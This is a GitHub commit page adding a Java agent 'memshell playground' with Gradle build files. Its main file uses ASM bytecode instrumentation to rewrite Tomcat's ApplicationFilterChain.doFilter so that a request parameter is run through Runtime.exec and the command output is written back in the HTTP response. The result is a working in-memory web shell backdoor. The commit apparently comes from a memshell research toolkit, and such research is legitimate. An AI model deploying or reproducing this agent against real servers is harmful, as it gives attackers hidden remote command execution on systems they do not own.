Skip to content

Commit 9b63ee4

Browse files
committed
feat: add agent memshell playground (#51)
1 parent 65414fc commit 9b63ee4

File tree

6 files changed

+297
-0
lines changed

6 files changed

+297
-0
lines changed

memshell-agent/build.gradle

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
idea {
2+
module {
3+
excludeDirs += file('src')
4+
}
5+
}
6+
7+
subprojects {
8+
group = 'com.reajason.javaweb.memshell-agent'
9+
version = ''
10+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
plugins {
2+
id 'java'
3+
id 'com.github.johnrengelman.shadow' version '8.1.1'
4+
}
5+
6+
group = 'com.reajason.javaweb'
7+
version = '1.0.0'
8+
9+
repositories {
10+
mavenCentral()
11+
}
12+
13+
java {
14+
toolchain {
15+
languageVersion = JavaLanguageVersion.of(8)
16+
}
17+
sourceCompatibility = JavaVersion.VERSION_1_6
18+
targetCompatibility = JavaVersion.VERSION_1_6
19+
}
20+
21+
dependencies {
22+
implementation 'org.ow2.asm:asm-commons:9.7.1'
23+
implementation 'javax.servlet:javax.servlet-api:3.1.0'
24+
}
25+
26+
jar {
27+
manifest {
28+
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
29+
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
30+
attributes 'Can-Redefine-Classes': true
31+
attributes 'Can-Retransform-Classes': true
32+
attributes 'Can-Set-Native-Method-Prefix': true
33+
}
34+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
package com.reajason.javaweb.memshell.agent;
2+
3+
import org.objectweb.asm.*;
4+
5+
import java.lang.instrument.ClassFileTransformer;
6+
import java.lang.instrument.Instrumentation;
7+
import java.lang.reflect.Method;
8+
import java.security.ProtectionDomain;
9+
10+
/**
11+
* @author ReaJason
12+
*/
13+
public class CommandFilterChainTransformer implements ClassFileTransformer {
14+
15+
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
16+
17+
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
18+
return new ClassVisitor(Opcodes.ASM9, cv) {
19+
@Override
20+
public MethodVisitor visitMethod(int access, String name, String descriptor,
21+
String signature, String[] exceptions) {
22+
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
23+
if ("doFilter".equals(name) &&
24+
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
25+
return new DoFilterMethodVisitor(mv);
26+
}
27+
return mv;
28+
}
29+
};
30+
}
31+
32+
private static class DoFilterMethodVisitor extends MethodVisitor {
33+
34+
public DoFilterMethodVisitor(MethodVisitor mv) {
35+
super(Opcodes.ASM9, mv);
36+
}
37+
38+
@Override
39+
public void visitCode() {
40+
super.visitCode();
41+
42+
// Define our parameter name
43+
mv.visitLdcInsn("paramName");
44+
mv.visitVarInsn(Opcodes.ASTORE, 3); // Store "paramName" in local var 3
45+
46+
// Define labels for try-catch
47+
Label tryStart = new Label();
48+
Label tryEnd = new Label();
49+
Label catchHandler = new Label();
50+
51+
// Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING
52+
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
53+
54+
// Start of try block
55+
mv.visitLabel(tryStart);
56+
57+
// Get the parameter from request: request.getParameter(paramName)
58+
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request (first param)
59+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
60+
"()Ljava/lang/Class;", false);
61+
mv.visitLdcInsn("getParameter");
62+
mv.visitInsn(Opcodes.ICONST_1);
63+
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
64+
mv.visitInsn(Opcodes.DUP);
65+
mv.visitInsn(Opcodes.ICONST_0);
66+
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
67+
mv.visitInsn(Opcodes.AASTORE);
68+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
69+
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
70+
71+
// Invoke the getParameter method
72+
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request object
73+
mv.visitInsn(Opcodes.ICONST_1);
74+
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
75+
mv.visitInsn(Opcodes.DUP);
76+
mv.visitInsn(Opcodes.ICONST_0);
77+
mv.visitVarInsn(Opcodes.ALOAD, 3); // Load paramName
78+
mv.visitInsn(Opcodes.AASTORE);
79+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
80+
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
81+
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
82+
mv.visitVarInsn(Opcodes.ASTORE, 4); // Store cmd in local var 4
83+
84+
// Check if cmd is not null
85+
mv.visitVarInsn(Opcodes.ALOAD, 4);
86+
Label ifNullLabel = new Label();
87+
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
88+
89+
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
90+
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime",
91+
"()Ljava/lang/Runtime;", false);
92+
mv.visitVarInsn(Opcodes.ALOAD, 4); // Load cmd
93+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec",
94+
"(Ljava/lang/String;)Ljava/lang/Process;", false);
95+
mv.visitVarInsn(Opcodes.ASTORE, 5); // Store Process in local var 5
96+
97+
// Get input stream: InputStream inputStream = exec.getInputStream();
98+
mv.visitVarInsn(Opcodes.ALOAD, 5); // Load Process
99+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream",
100+
"()Ljava/io/InputStream;", false);
101+
mv.visitVarInsn(Opcodes.ASTORE, 6); // Store InputStream in local var 6
102+
103+
// Get response output stream
104+
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response (second param)
105+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
106+
"()Ljava/lang/Class;", false);
107+
mv.visitLdcInsn("getOutputStream");
108+
mv.visitInsn(Opcodes.ICONST_0);
109+
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
110+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
111+
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
112+
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response
113+
mv.visitInsn(Opcodes.ICONST_0);
114+
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
115+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
116+
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
117+
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
118+
mv.visitVarInsn(Opcodes.ASTORE, 7); // Store OutputStream in local var 7
119+
120+
// Create buffer: byte[] buf = new byte[8192];
121+
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
122+
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
123+
mv.visitVarInsn(Opcodes.ASTORE, 8); // Store byte[] in local var 8
124+
125+
// While loop to read and write data
126+
Label loopStart = new Label();
127+
Label loopEnd = new Label();
128+
129+
// Start of loop
130+
mv.visitLabel(loopStart);
131+
132+
// Read data: inputStream.read(buf)
133+
mv.visitVarInsn(Opcodes.ALOAD, 6); // Load inputStream
134+
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
135+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read",
136+
"([B)I", false);
137+
mv.visitVarInsn(Opcodes.ISTORE, 9); // Store length in local var 9
138+
139+
// Check if length == -1
140+
mv.visitVarInsn(Opcodes.ILOAD, 9);
141+
mv.visitInsn(Opcodes.ICONST_M1);
142+
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
143+
144+
// Write data: outputStream.write(buf, 0, length)
145+
mv.visitVarInsn(Opcodes.ALOAD, 7); // Load outputStream
146+
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
147+
mv.visitInsn(Opcodes.ICONST_0);
148+
mv.visitVarInsn(Opcodes.ILOAD, 9); // Load length
149+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write",
150+
"([BII)V", false);
151+
152+
// Go back to start of loop
153+
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
154+
155+
// End of loop
156+
mv.visitLabel(loopEnd);
157+
158+
// Return from the method without calling original doFilter
159+
mv.visitInsn(Opcodes.RETURN);
160+
161+
// If cmd is null, continue with original method
162+
mv.visitLabel(ifNullLabel);
163+
164+
// End of try block
165+
mv.visitLabel(tryEnd);
166+
167+
// Skip catch block if we didn't enter it
168+
Label afterCatch = new Label();
169+
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
170+
171+
// Start of catch block
172+
mv.visitLabel(catchHandler);
173+
// The exception is now on the stack
174+
mv.visitVarInsn(Opcodes.ASTORE, 10); // Store exception in local var 10 and discard it
175+
176+
// End of catch block
177+
mv.visitLabel(afterCatch);
178+
}
179+
}
180+
181+
@Override
182+
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
183+
ProtectionDomain protectionDomain, byte[] bytes) {
184+
if (TARGET_CLASS.equals(className)) {
185+
try {
186+
ClassReader cr = new ClassReader(bytes);
187+
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
188+
Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader");
189+
getClassLoader.setAccessible(true);
190+
System.out.println(getClassLoader.invoke(cw));
191+
ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw);
192+
cr.accept(cv, ClassReader.EXPAND_FRAMES);
193+
return cw.toByteArray();
194+
} catch (Exception e) {
195+
e.printStackTrace();
196+
}
197+
}
198+
return bytes;
199+
}
200+
201+
public static void premain(String args, Instrumentation inst) {
202+
inst.addTransformer(new CommandFilterChainTransformer(), true);
203+
}
204+
205+
public static void agentmain(String args, Instrumentation inst) {
206+
System.out.println(DoFilterMethodVisitor.class.getClassLoader());
207+
inst.addTransformer(new CommandFilterChainTransformer(), true);
208+
}
209+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
plugins {
2+
id 'java'
3+
}
4+
5+
group = 'com.reajason.javaweb'
6+
version = '1.0.0'
7+
8+
repositories {
9+
mavenCentral()
10+
}
11+
12+
dependencies {
13+
testImplementation platform('org.junit:junit-bom:5.10.0')
14+
testImplementation 'org.junit.jupiter:junit-jupiter'
15+
}
16+
17+
test {
18+
useJUnitPlatform()
19+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
plugins {
2+
id 'java'
3+
}
4+
5+
group = 'com.reajason.javaweb'
6+
version = '1.0.0'
7+
8+
repositories {
9+
mavenCentral()
10+
}
11+
12+
dependencies {
13+
testImplementation platform('org.junit:junit-bom:5.10.0')
14+
testImplementation 'org.junit.jupiter:junit-jupiter'
15+
}
16+
17+
test {
18+
useJUnitPlatform()
19+
}

settings.gradle

+6
Original file line numberDiff line numberDiff line change
@@ -31,3 +31,9 @@ include 'vul:vul-springboot2'
3131
include 'vul:vul-springboot3'
3232
include 'vul:vul-springboot2-webflux'
3333
include 'vul:vul-springboot3-webflux'
34+
35+
include 'memshell-agent'
36+
include 'memshell-agent:memshell-agent-asm'
37+
include 'memshell-agent:memshell-agent-javassist'
38+
include 'memshell-agent:memshell-agent-bytebuddy'
39+

0 commit comments

Comments
 (0)